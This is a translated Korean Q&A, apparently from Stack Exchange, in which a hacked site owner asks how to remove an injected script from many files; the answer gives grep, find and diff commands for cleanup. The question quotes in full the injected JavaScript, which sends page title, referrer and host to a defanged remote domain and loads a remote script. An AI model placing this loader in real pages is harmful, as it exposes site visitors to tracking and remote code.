긴 텍스트 문자열(특수 문자가 많은 스크립트)을 바꿉니다. sed, awk, grep

긴 텍스트 문자열(특수 문자가 많은 스크립트)을 바꿉니다. sed, awk, grep

내 웹사이트가 해킹/감염되었습니다. 악성 링크의 URL을 교체했지만 악성 스크립트의 다른 요소로 인해 여전히 내 사이트가 차단되었습니다. 100개 정도의 "이스케이프"를 삽입하지 않고 내 사이트에 있는 36개 파일에서 다음 스크립트를 어떻게 제거할 수 있습니까?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

stack-exchange의 다른 페이지에서는 이 질문에 답하지 않습니다.

악성 URL을 xxxx_hack_was_here 등으로 바꾸려면 다음을 사용했습니다. find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

답변1

우선 위의 의견에 동의합니다.sed해킹당했을 때 복구하는 데 사용하지 마세요 . 당신은 뭔가를 놓친 것이 아닌지 항상 궁금해합니다. 백업에서 복원, 기간.

그러나 귀하가 제기하는 문자 그대로의 질문, 즉 모든 특수 문자를 이스케이프 처리하지 않고 긴 문자열의 모든 항목을 제거하는 방법은 처리하기가 다소 쉽습니다.

귀하의 질문에서 몇 가지 추론/가정을 만들고 있지만 실제로 직접적으로 언급하지는 않습니다.

  1. 삭제할 문자열은 한 줄입니다.
  2. 매번 똑같은 일이 일어납니다.
  3. 그럴 필요가있다삭제됨, 다른 것으로 대체하지 않고.

위의 가정이 맞다면 다음을 수행하십시오.

  1. 제거하려는 문자열(후행 공백 포함)을 hackline.txtPut this layer 라는 별도의 파일에 넣습니다.이상처리하려는 디렉터리입니다.
  2. 오류가 발생할 경우 전체 디렉터리를 복사하세요.

    cp -a mydir mydircopy
    
  3. Hackline의 모든 인스턴스를 제거하려면 디렉터리(또는 복사본)에서 다음 루프를 실행하세요.

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

여기서의 개념은 이를 hackline.txt전체 행과 일치해야 하는 고정된 문자열 목록으로 사용한 다음 grep이를 사용하여 일치하는 행을 얻는 것입니다.아니요이 문자열 목록을 일치시킵니다.

-x"전체 라인"을 의미하며 -F"정규 표현식이 아닌 고정 문자열"을 의미합니다. 파일의 패턴 목록을 허용합니다 -v.-f

웹 사이트 디렉토리가 평면이 아닌 계층 구조인 경우(실제로 가능함) findfor 루프를 대신 사용할 수 있습니다.

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

그런 다음 재귀를 사용하여 diff모든 것이 올바른지 확인합니다.

diff -r mydircopy mydir

관련 정보